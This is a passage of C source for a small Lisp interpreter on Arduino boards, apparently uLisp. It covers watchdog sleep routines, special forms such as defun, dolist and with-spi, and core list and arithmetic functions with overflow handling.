while(WDT->STATUS.bit.SYNCBUSY); \/\/ Sync CTRL write\n WDT->INTFLAG.bit.EW = 1; \/\/ Clear interrupt flag\n}\n#endif\n\nvoid initsleep () {\n#if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO)\n \/\/ One-time initialization of watchdog timer.\n\n \/\/ Generic clock generator 2, divisor = 32 (2^(DIV+1))\n GCLK->GENDIV.reg = GCLK_GENDIV_ID(2) | GCLK_GENDIV_DIV(4);\n \/\/ Enable clock generator 2 using low-power 32KHz oscillator.\n \/\/ With \/32 divisor above, this yields 1024Hz clock.\n GCLK->GENCTRL.reg = GCLK_GENCTRL_ID(2) |\n GCLK_GENCTRL_GENEN |\n GCLK_GENCTRL_SRC_OSCULP32K |\n GCLK_GENCTRL_DIVSEL;\n while(GCLK->STATUS.bit.SYNCBUSY);\n \/\/ WDT clock = clock gen 2\n GCLK->CLKCTRL.reg = GCLK_CLKCTRL_ID_WDT |\n GCLK_CLKCTRL_CLKEN |\n GCLK_CLKCTRL_GEN_GCLK2;\n\n \/\/ Enable WDT early-warning interrupt\n NVIC_DisableIRQ(WDT_IRQn);\n NVIC_ClearPendingIRQ(WDT_IRQn);\n NVIC_SetPriority(WDT_IRQn, 0); \/\/ Top priority\n NVIC_EnableIRQ(WDT_IRQn);\n#endif\n}\n\nvoid sleep (int secs) {\n#if defined(ARDUINO_SAMD_ZERO) || defined(ARDUINO_SAMD_MKRZERO)\n WDT->CTRL.reg = 0; \/\/ Disable watchdog for config\n while(WDT->STATUS.bit.SYNCBUSY);\n WDT->INTENSET.bit.EW = 1; \/\/ Enable early warning interrupt\n WDT->CONFIG.bit.PER = 0xB; \/\/ Period = max\n WDT->CONFIG.bit.WINDOW = 0x7; \/\/ Set time of interrupt = 1024 cycles = 1 sec\n WDT->CTRL.bit.WEN = 1; \/\/ Enable window mode\n while(WDT->STATUS.bit.SYNCBUSY); \/\/ Sync CTRL write\n\n SysTick->CTRL = 0; \/\/ Stop SysTick interrupts\n \n while (secs > 0) {\n WDT->CLEAR.reg = WDT_CLEAR_CLEAR_KEY;\/\/ Clear watchdog interval\n while(WDT->STATUS.bit.SYNCBUSY);\n WDT->CTRL.bit.ENABLE = 1; \/\/ Start watchdog now!\n while(WDT->STATUS.bit.SYNCBUSY);\n SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; \/\/ Deepest sleep\n __DSB();\n __WFI(); \/\/ Wait for interrupt\n secs--;\n }\n SysTick->CTRL = 7; \/\/ Restart SysTick interrupts\n#else\n delay(1000*secs);\n#endif\n}\n\n\/\/ Special forms\n\nobject *sp_quote (object *args, object *env) {\n (void) env;\n return first(args);\n}\n\nobject *sp_defun (object *args, object *env) {\n (void) env;\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = cons(symbol(LAMBDA), cdr(args));\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_defvar (object *args, object *env) {\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = NULL;\n args = cdr(args);\n if (args != NULL) val = eval(first(args), env);\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_setq (object *args, object *env) {\n object *arg = eval(second(args), env);\n object *pair = findvalue(first(args), env);\n cdr(pair) = arg;\n return arg;\n}\n\nobject *sp_loop (object *args, object *env) {\n clrflag(RETURNFLAG);\n object *start = args;\n for (;;) {\n args = start;\n while (args != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n args = cdr(args);\n }\n }\n}\n\nobject *sp_push (object *args, object *env) {\n object *item = eval(first(args), env);\n object **loc = place(second(args), env);\n push(item, *loc);\n return *loc;\n}\n\nobject *sp_pop (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = car(*loc);\n pop(*loc);\n return result;\n}\n\n\/\/ Special forms incf\/decf\n\nobject *sp_incf (object *args, object *env) {\n object **loc = place(first(args), env);\n args = cdr(args);\n \n object *x = *loc;\n object *inc = (args != NULL) ? eval(first(args), env) : NULL;\n\n if (floatp(x) || floatp(inc)) {\n float increment;\n float value = intfloat(x);\n\n if (inc == NULL) increment = 1.0;\n else increment = intfloat(inc);\n\n *loc = makefloat(value + increment);\n } else {\n int increment;\n int value = integer(x);\n\n if (inc == NULL) increment = 1;\n else increment = integer(inc);\n\n if (increment < 1) {\n if (INT_MIN - increment > value) *loc = makefloat((float)value + (float)increment);\n else *loc = number(value + increment);\n } else {\n if (INT_MAX - increment < value) *loc = makefloat((float)value + (float)increment);\n else *loc = number(value + increment);\n }\n }\n return *loc;\n}\n\nobject *sp_decf (object *args, object *env) {\n object **loc = place(first(args), env);\n args = cdr(args);\n \n object *x = *loc;\n object *dec = (args != NULL) ? eval(first(args), env) : NULL;\n\n if (floatp(x) || floatp(dec)) {\n float decrement;\n float value = intfloat(x);\n\n if (dec == NULL) decrement = 1.0;\n else decrement = intfloat(dec);\n\n *loc = makefloat(value - decrement);\n } else {\n int decrement;\n int value = integer(x);\n\n if (dec == NULL) decrement = 1;\n else decrement = integer(dec);\n\n if (decrement < 1) {\n if (INT_MAX + decrement < value) *loc = makefloat((float)value - (float)decrement);\n else *loc = number(value - decrement);\n } else {\n if (INT_MIN + decrement > value) *loc = makefloat((float)value - (float)decrement);\n else *loc = number(value - decrement);\n }\n }\n return *loc;\n}\n\nobject *sp_setf (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = eval(second(args), env);\n *loc = result;\n return result;\n}\n\nobject *sp_dolist (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n object *list = eval(second(params), env);\n push(list, GCStack); \/\/ Don't GC the list\n object *pair = cons(var,nil);\n push(pair,env);\n params = cdr(cdr(params));\n object *forms = cdr(args);\n while (list != NULL) {\n if (improperp(list)) error3(DOLIST, PSTR(\"argument is not a proper list\"));\n cdr(pair) = first(list);\n list = cdr(list);\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = nil;\n pop(GCStack);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_dotimes (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n int count = integer(eval(second(params), env));\n int index = 0;\n params = cdr(cdr(params));\n object *pair = cons(var,number(0));\n push(pair,env);\n object *forms = cdr(args);\n while (index < count) {\n cdr(pair) = number(index);\n index++;\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = number(index);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_trace (object *args, object *env) {\n (void) env;\n while (args != NULL) {\n trace(first(args)->name);\n args = cdr(args);\n }\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n i++;\n }\n return args;\n}\n\nobject *sp_untrace (object *args, object *env) {\n (void) env;\n if (args == NULL) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n TraceFn[i] = 0;\n i++;\n }\n } else {\n while (args != NULL) {\n untrace(first(args)->name);\n args = cdr(args);\n }\n }\n return args;\n}\n\nobject *sp_formillis (object *args, object *env) {\n object *param = first(args);\n unsigned long start = millis();\n unsigned long now, total = 0;\n if (param != NULL) total = integer(eval(first(param), env));\n eval(tf_progn(cdr(args),env), env);\n do {\n now = millis() - start;\n testescape();\n } while (now < total);\n if (now <= INT_MAX) return number(now);\n return nil;\n}\n\nobject *sp_withserial (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int baud = 96;\n if (params != NULL) baud = integer(eval(first(params), env));\n object *pair = cons(var, stream(SERIALSTREAM, address));\n push(pair,env);\n serialbegin(address, baud);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n serialend(address);\n return result;\n}\n\nobject *sp_withi2c (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (params != NULL) {\n object *rw = eval(first(params), env);\n if (integerp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n I2Cinit(1); \/\/ Pullups\n object *pair = cons(var, (I2Cstart(address, read)) ? stream(I2CSTREAM, address) : nil);\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n I2Cstop(read);\n return result;\n}\n\nobject *sp_withspi (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int pin = integer(eval(second(params), env));\n int divider = 0, mode = 0, bitorder = 1;\n object *pair = cons(var, stream(SPISTREAM, pin));\n push(pair,env);\n SPI.begin();\n params = cddr(params);\n if (params != NULL) {\n divider = integer(eval(first(params), env));\n params = cdr(params);\n if (params != NULL) {\n bitorder = (eval(first(params), env) == NULL);\n params = cdr(params);\n if (params != NULL) mode = integer(eval(first(params), env));\n }\n }\n pinMode(pin, OUTPUT);\n digitalWrite(pin, LOW);\n SPI.setBitOrder((BitOrder)bitorder);\n if (divider != 0) SPI.setClockDivider(divider);\n SPI.setDataMode(mode);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n digitalWrite(pin, HIGH);\n SPI.end();\n return result;\n}\n\nobject *sp_withsdcard (object *args, object *env) {\n#if defined(sdcardsupport)\n object *params = first(args);\n object *var = first(params);\n object *filename = eval(second(params), env);\n params = cddr(params);\n SD.begin(SDCARD_SS_PIN);\n int mode = 0;\n if (params != NULL && first(params) != NULL) mode = integer(first(params));\n int oflag = O_READ;\n if (mode == 1) oflag = O_RDWR | O_CREAT | O_APPEND; else if (mode == 2) oflag = O_RDWR | O_CREAT | O_TRUNC;\n if (mode >= 1) {\n SDpfile = SD.open(MakeFilename(filename), oflag);\n if (!SDpfile) error(PSTR(\"Problem writing to SD card\"));\n } else {\n SDgfile = SD.open(MakeFilename(filename), oflag);\n if (!SDgfile) error(PSTR(\"Problem reading from SD card\"));\n }\n object *pair = cons(var, stream(SDSTREAM, 1));\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n if (mode >= 1) SDpfile.close(); else SDgfile.close();\n return result;\n#else\n (void) args, (void) env;\n error(PSTR(\"with-sd-card not supported\"));\n return nil;\n#endif\n}\n\n\/\/ Tail-recursive forms\n\nobject *tf_progn (object *args, object *env) {\n if (args == NULL) return nil;\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_return (object *args, object *env) {\n setflag(RETURNFLAG);\n return tf_progn(args, env);\n}\n\nobject *tf_if (object *args, object *env) {\n if (args == NULL || cdr(args) == NULL) error3(IF, PSTR(\"missing argument(s)\"));\n if (eval(first(args), env) != nil) return second(args);\n args = cddr(args);\n return (args != NULL) ? first(args) : nil;\n}\n\nobject *tf_cond (object *args, object *env) {\n while (args != NULL) {\n object *clause = first(args);\n if (!consp(clause)) error2(clause, PSTR(\"is an illegal 'cond' clause\"));\n object *test = eval(first(clause), env);\n object *forms = cdr(clause);\n if (test != nil) {\n if (forms == NULL) return test; else return tf_progn(forms, env);\n }\n args = cdr(args);\n }\n return nil;\n}\n\nobject *tf_when (object *args, object *env) {\n if (args == NULL) error3(WHEN, PSTR(\"missing argument\"));\n if (eval(first(args), env) != nil) return tf_progn(cdr(args),env);\n else return nil;\n}\n\nobject *tf_unless (object *args, object *env) {\n if (args == NULL) error3(UNLESS, PSTR(\"missing argument\"));\n if (eval(first(args), env) != nil) return nil;\n else return tf_progn(cdr(args),env);\n}\n\nobject *tf_case (object *args, object *env) {\n object *test = eval(first(args), env);\n args = cdr(args);\n while (args != NULL) {\n object *clause = first(args);\n if (!consp(clause)) error2(clause, PSTR(\"is an illegal 'case' clause\"));\n object *key = car(clause);\n object *forms = cdr(clause);\n if (consp(key)) {\n while (key != NULL) {\n if (eq(test,car(key))) return tf_progn(forms, env);\n key = cdr(key);\n }\n } else if (eq(test,key) || eq(key,tee)) return tf_progn(forms, env);\n args = cdr(args);\n }\n return nil;\n}\n\nobject *tf_and (object *args, object *env) {\n if (args == NULL) return tee;\n object *more = cdr(args);\n while (more != NULL) {\n if (eval(car(args), env) == NULL) return nil;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_or (object *args, object *env) {\n while (args != NULL) {\n if (eval(car(args), env) != NULL) return car(args);\n args = cdr(args);\n }\n return nil;\n}\n\n\/\/ Core functions\n\nobject *fn_not (object *args, object *env) {\n (void) env;\n return (first(args) == nil) ? tee : nil;\n}\n\nobject *fn_cons (object *args, object *env) {\n (void) env;\n return cons(first(args), second(args));\n}\n\nobject *fn_atom (object *args, object *env) {\n (void) env;\n return atom(first(args)) ? tee : nil;\n}\n\nobject *fn_listp (object *args, object *env) {\n (void) env;\n return listp(first(args)) ? tee : nil;\n}\n\nobject *fn_consp (object *args, object *env) {\n (void) env;\n return consp(first(args)) ? tee : nil;\n}\n\nobject *fn_symbolp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return symbolp(arg) ? tee : nil;\n}\n\nobject *fn_streamp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return streamp(arg) ? tee : nil;\n}\n\nobject *fn_eq (object *args, object *env) {\n (void) env;\n return eq(first(args), second(args)) ? tee : nil;\n}\n\n\/\/ List functions\n\nobject *fn_car (object *args, object *env) {\n (void) env;\n return carx(first(args));\n}\n\nobject *fn_cdr (object *args, object *env) {\n (void) env;\n return cdrx(first(args));\n}\n\nobject *fn_caar (object *args, object *env) {\n (void) env;\n return carx(carx(first(args)));\n}\n\nobject *fn_cadr (object *args, object *env) {\n (void) env;\n return carx(cdrx(first(args)));\n}\n\nobject *fn_cdar (object *args, object *env) {\n (void) env;\n return cdrx(carx(first(args)));\n}\n\nobject *fn_cddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(first(args)));\n}\n\nobject *fn_caaar (object *args, object *env) {\n (void) env;\n return carx(carx(carx(first(args))));\n}\n\nobject *fn_caadr (object *args, object *env) {\n (void) env;\n return carx(carx(cdrx(first(args))));\n}\n\nobject *fn_cadar (object *args, object *env) {\n (void) env;\n return carx(cdrx(carx(first(args))));\n}\n\nobject *fn_caddr (object *args, object *env) {\n (void) env;\n return carx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_cdaar (object *args, object *env) {\n (void) env;\n return cdrx(carx(carx(first(args))));\n}\n\nobject *fn_cdadr (object *args, object *env) {\n (void) env;\n return cdrx(carx(cdrx(first(args))));\n}\n\nobject *fn_cddar (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(carx(first(args))));\n}\n\nobject *fn_cdddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_length (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (listp(arg)) return number(listlength(arg));\n if (!stringp(arg)) error3(LENGTH, PSTR(\"argument is not a list or string\"));\n return number(stringlength(arg));\n}\n\nobject *fn_list (object *args, object *env) {\n (void) env;\n return args;\n}\n\nobject *fn_reverse (object *args, object *env) {\n (void) env;\n object *list = first(args);\n object *result = NULL;\n while (list != NULL) {\n if (improperp(list)) error3(REVERSE, PSTR(\"argument is not a proper list\"));\n push(first(list),result);\n list = cdr(list);\n }\n return result;\n}\n\nobject *fn_nth (object *args, object *env) {\n (void) env;\n int n = integer(first(args));\n object *list = second(args);\n while (list != NULL) {\n if (improperp(list)) error3(NTH, PSTR(\"argument is not a proper list\"));\n if (n == 0) return car(list);\n list = cdr(list);\n n--;\n }\n return nil;\n}\n\nobject *fn_assoc (object *args, object *env) {\n (void) env;\n object *key = first(args);\n object *list = second(args);\n if (!listp(list)) error3(ASSOC, PSTR(\"second argument is not a list\"));\n return assoc(key,list);\n}\n\nobject *fn_member (object *args, object *env) {\n (void) env;\n object *item = first(args);\n object *list = second(args);\n while (list != NULL) {\n if (improperp(list)) error3(MEMBER, PSTR(\"argument is not a proper list\"));\n if (eq(item,car(list))) return list;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *fn_apply (object *args, object *env) {\n object *previous = NULL;\n object *last = args;\n while (cdr(last) != NULL) {\n previous = last;\n last = cdr(last);\n }\n if (!listp(car(last))) error3(APPLY, PSTR(\"last argument is not a list\"));\n cdr(previous) = car(last);\n return apply(first(args), cdr(args), env);\n}\n\nobject *fn_funcall (object *args, object *env) {\n return apply(first(args), cdr(args), env);\n}\n\nobject *fn_append (object *args, object *env) {\n (void) env;\n object *head = NULL;\n object *tail = NULL;\n while (args != NULL) { \n object *list = first(args);\n while ((unsigned int)list >= PAIR) {\n object *obj = cons(car(list), cdr(list));\n if (head == NULL) head = obj;\n else cdr(tail) = obj;\n tail = obj;\n list = cdr(list);\n }\n if (cdr(args) != NULL && list != NULL) error3(APPEND, PSTR(\"argument is not a proper list\"));\n args = cdr(args);\n }\n return head;\n}\n\nobject *fn_mapc (object *args, object *env) {\n symbol_t name = MAPC;\n object *function = first(args);\n object *list1 = second(args);\n object *result = list1;\n object *list2 = cddr(args);\n if (list2 != NULL) {\n list2 = car(list2);\n while (list1 != NULL && list2 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n if (improperp(list2)) error3(name, PSTR(\"third argument is not a proper list\"));\n apply(function, cons(car(list1),cons(car(list2),NULL)), env);\n list1 = cdr(list1); list2 = cdr(list2);\n }\n } else {\n while (list1 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n apply(function, cons(car(list1),NULL), env);\n list1 = cdr(list1);\n }\n }\n return result;\n}\n\nobject *fn_mapcar (object *args, object *env) {\n symbol_t name = MAPCAR;\n object *function = first(args);\n object *list1 = second(args);\n object *list2 = cddr(args);\n object *head = cons(NULL, NULL);\n push(head,GCStack);\n object *tail = head;\n if (list2 != NULL) {\n list2 = car(list2);\n while (list1 != NULL && list2 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n if (improperp(list2)) error3(name, PSTR(\"third argument is not a proper list\"));\n object *result = apply(function, cons(car(list1), cons(car(list2),NULL)), env);\n object *obj = cons(result,NULL);\n cdr(tail) = obj;\n tail = obj;\n list1 = cdr(list1); list2 = cdr(list2);\n }\n } else if (list1 != NULL) {\n while (list1 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n object *result = apply(function, cons(car(list1),NULL), env);\n object *obj = cons(result,NULL);\n cdr(tail) = obj;\n tail = obj;\n list1 = cdr(list1);\n }\n }\n pop(GCStack);\n return cdr(head);\n}\n\nobject *fn_mapcan (object *args, object *env) {\n symbol_t name = MAPCAN;\n object *function = first(args);\n object *list1 = second(args);\n object *list2 = cddr(args);\n object *head = cons(NULL, NULL);\n push(head,GCStack);\n object *tail = head;\n if (list2 != NULL) {\n list2 = car(list2);\n while (list1 != NULL && list2 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n if (improperp(list2)) error3(name, PSTR(\"third argument is not a proper list\"));\n object *result = apply(function, cons(car(list1), cons(car(list2),NULL)), env);\n while (result != NULL && (unsigned int)result >= PAIR) {\n cdr(tail) = result;\n tail = result;\n result = cdr(result);\n }\n if (cdr(list1) != NULL && cdr(list2) != NULL && result != NULL) error3(name, PSTR(\"result is not a proper list\"));\n list1 = cdr(list1); list2 = cdr(list2);\n }\n } else if (list1 != NULL) {\n while (list1 != NULL) {\n if (improperp(list1)) error3(name, PSTR(\"second argument is not a proper list\"));\n object *result = apply(function, cons(car(list1),NULL), env);\n while (result != NULL && (unsigned int)result >= PAIR) {\n cdr(tail) = result;\n tail = result;\n result = cdr(result);\n }\n if (cdr(list1) != NULL && result != NULL) error3(name, PSTR(\"result is not a proper list\"));\n list1 = cdr(list1);\n }\n }\n pop(GCStack);\n return cdr(head);\n}\n\n\/\/ Arithmetic functions\n\nobject *add_floats (object *args, float fresult) {\n while (args != NULL) {\n object *arg = car(args);\n fresult = fresult + intfloat(arg);\n args = cdr(args);\n }\n return makefloat(fresult);\n}\n\nobject *fn_add (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n object *arg = car(args);\n\n if (floatp(arg)) return add_floats(args, (float)result);\n\n int val = integer(arg);\n if (val < 1) { if (INT_MIN - val > result) return add_floats(args, (float)result); }\n else { if (INT_MAX - val < result) return add_floats(args, (float)result); }\n result = result + val;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *subtract_floats (object *args, float fresult) {\n while (args != NULL) {\n object *arg = car(args);\n fresult = fresult - intfloat(arg);\n args = cdr(args);\n }\n return makefloat(fresult);\n}\n\nobject *negate (object *arg) {\n if (integerp(arg)) {\n int result = integer(arg);\n if (result == INT_MIN) return makefloat(-fromfloat(arg));\n else return number(-result);\n } else return makefloat(-fromfloat(arg));\n}\n\nobject *fn_subtract (object *args, object *env) {\n (void) env;\n\n object *arg = car(args);\n args = cdr(args);\n\n if (args == NULL) return negate(arg);\n else if (floatp(arg)) return subtract_floats(args, fromfloat(arg));\n else {\n int result = integer(arg);\n\n while (args != NULL) {\n arg = car(args);\n\n if (floatp(arg)) return subtract_floats(args, result);\n\n int val = integer(car(args));\n if (val < 1) { if (INT_MAX + val < result) return subtract_floats(args, result); }\n else { if (INT_MIN + val > result) return subtract_floats(args, result); }\n result = result - val;\n args = cdr(args);\n }\n return number(result);\n }\n}\n\nobject *multiply_floats (object *args, float fresult) {\n while (args != NULL) {\n object *arg = car(args);\n fresult = fresult * intfloat(arg);\n args = cdr(args);\n }\n return makefloat(fresult);\n}\n\nobject *fn_multiply (object *args, object *env) {\n (void) env;\n int result = 1;\n while (args != NULL){\n object *arg = car(args);\n\n if (floatp(arg)) return multiply_floats(args, result);\n\n int64_t val = result * (int64_t)integer(arg);\n if ((val > INT_MAX) || (val < INT_MIN)) return multiply_floats(args, result);\n result = val;\n \n args = cdr(args);\n }\n return number(result);\n}\n\nobject *divide_floats (object *args, float fresult) {\n while (args != NULL) {\n object *arg = car(args);\n float f = intfloat(arg);\n if (f == 0.0) error(PSTR(\"Division by zero\"));\n fresult = fresult \/ f;\n args = cdr(args);\n }\n return makefloat(fresult);\n}\n\nobject *fn_divide (object *args, object *env) {\n (void) env;\n object* arg = first(args);\n args = cdr(args);\n \/\/ One argument\n if (args == NULL) {\n if (floatp(arg)) {\n float f = fromfloat(arg);\n if (f == 0.0) error(PSTR(\"Division by zero\"));\n return makefloat(1.0 \/ f);\n } else {\n int i = integer(arg);\n if (i == 0) error(PSTR(\"Division by zero\"));\n else if (i == 1) return number(1);\n else return makefloat(1.0 \/ i);\n }\n } \n \/\/ Multiple arguments\n if (floatp(arg)) return divide_floats(args, fromfloat(arg));\n else {\n int result = integer(arg);\n while (args != NULL) {\n arg = car(args);\n if (floatp(arg)) {\n return divide_floats(args, result);\n } else { \n int i = integer(arg);\n if (i == 0) error(PSTR(\"Division by zero\"));\n if ((result % i) != 0) return divide_floats(args, result);\n if ((result == INT_MIN) && (i == -1)) return divide_floats(args, result);\n result = result \/ i;\n args = cdr(args);\n }\n } \n return number(result); \n }\n}\n\nobject *fn_mod (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n object *arg2 = second(args);\n if (integerp(arg1) && integerp(arg2)) {\n int divisor = integer(arg2);\n if (divisor == 0) error(PSTR(\"Division by zero\"));\n int dividend = integer(arg1);\n int remainder = dividend % divisor;\n if ((dividend<0) != (divisor<0)) remainder = remainder + divisor;\n return number(remainder);\n } else {\n float fdivisor = intfloat(arg2);\n if (fdivisor == 0.0) error(PSTR(\"Division by zero\"));\n float fdividend = intfloat(arg1);\n float fremainder = fmod(fdividend , fdivisor);\n if ((fdividend<0) != (fdivisor<0)) fremainder = fremainder + fdivisor;\n return makefloat(fremainder);\n }\n}\n\nobject *fn_oneplus (object *args, object *env) {\n (void) env;\n object* arg = first(args);\n if (floatp(arg)) return makefloat(fromfloat(arg) + 1.0);\n else {\n int result = integer(arg);\n if (result == INT_MAX) return makefloat(integer(arg) + 1.0);\n else return number(result + 1);\n }\n}\n\nobject *fn_oneminus (object *args, object *env) {\n (void) env;\n object* arg = first(args);\n if (floatp(arg)) return makefloat(fromfloat(arg) - 1.0);\n else {\n int result = integer(arg);\n if (result == INT_MIN) return makefloat(integer(arg) - 1.0);\n else return number(result - 1);\n }\n}\n\nobject *fn_abs (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (floatp(arg)) return makefloat(abs(fromfloat(arg)));\n else {\n int result = integer(arg);\n if (result == INT_MIN) return makefloat(abs((float)integer(arg)));\n else return number(abs(result));\n }\n}\n\nobject *fn_random (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (integerp(arg)) return number(random(integer(arg)));\n else return makefloat((float)rand()\/(float)(RAND_MAX\/fromfloat(arg)));\n}\n\nobject *fn_maxfn (object *args, object *env) {\n (void) env;\n object* result = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg = car(args);\n if (integerp(result) && integerp(arg)) {\n if ((integer(arg) > integer(result))) result = arg;\n } else if ((intfloat(arg) > intfloat(result))) result = arg;\n args = cdr(args); \n }\n return result;\n}\n\nobject *fn_minfn (object *args, object *env) {\n (void) env;\n object* result = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg = car(args);\n if (integerp(result) && integerp(arg)) {\n if ((integer(arg) < integer(result))) result = arg;\n } else if ((intfloat(arg) < intfloat(result))) result = arg;\n args = cdr(args); \n }\n return result;\n}\n\n\/\/ Arithmetic comparisons\n\nobject *fn_noteq (object *args, object *env) {\n (void) env;\n while (args != NULL) {\n object *nargs = args;\n object *arg1 = first(nargs);\n nargs = cdr(nargs);\n while (nargs != NULL) {\n object *arg2 = first(nargs);\n if (integerp(arg1) && integerp(arg2)) {\n if ((integer(arg1) == integer(arg2))) return nil;\n } else if ((intfloat(arg1) == intfloat(arg2))) return nil;\n nargs = cdr(nargs);\n }\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_numeq (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg2 = first(args);\n if (integerp(arg1) && integerp(arg2)) {\n if (!(integer(arg1) == integer(arg2))) return nil;\n } else if (!(intfloat(arg1) == intfloat(arg2))) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_less (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg2 = first(args);\n if (integerp(arg1) && integerp(arg2)) {\n if (!(integer(arg1) < integer(arg2))) return nil;\n } else if (!(intfloat(arg1) < intfloat(arg2))) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_lesseq (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg2 = first(args);\n if (integerp(arg1) && integerp(arg2)) {\n if (!(integer(arg1) <= integer(arg2))) return nil;\n } else if (!(intfloat(arg1) <= intfloat(arg2))) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greater (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg2 = first(args);\n if (integerp(arg1) && integerp(arg2)) {\n if (!(integer(arg1) > integer(arg2))) return nil;\n } else if (!(intfloat(arg1) > intfloat(arg2))) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greatereq (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n args = cdr(args);\n while (args != NULL) {\n object *arg2 = first(args);\n if (integerp(arg1) && integerp(arg2)) {\n if (!(integer(arg1) >= integer(arg2))) return nil;\n } else if (!(intfloat(arg1) >= intfloat(arg2))) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_plusp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (floatp(arg)) return (fromfloat(arg) > 0.0) ? tee : nil;\n return (integer(arg) > 0) ? tee : nil;\n}\n\nobject *fn_minusp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (floatp(arg)) return (fromfloat(arg) < 0.0) ? tee : nil;\n return (integer(arg) < 0) ? tee : nil;\n}\n\nobject *fn_zerop (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (floatp(arg)) return (fromfloat(arg) == 0.0) ? tee : nil;\n return (integer(arg) == 0) ? tee : nil;\n}\n\nobject *fn_oddp (object *args, object *env) {\n (void) env;\n return ((integer(first(args)) & 1) == 1) ? tee : nil;\n}\n\nobject *fn_evenp (object *args, object *env) {\n (void) env;\n return ((integer(first(args)) & 1) == 0) ? tee : nil;\n}\n\n\/\/ Number functions\n\nobject *fn_integerp (object *args, object *env) {\n (void) env;\n return integerp(first(args)) ? tee : nil;\n}\n\nobject *fn_numberp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return (integerp(arg) || floatp(arg)) ? tee : nil;\n}\n\n\/\/ Floating-point functions\n\nobject *fn_floatfn (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return (floatp(arg)) ? arg : makefloat((float)integer(arg));\n}\n\nobject *fn_floatp (object *args, object *env) {\n (void) env;\n return 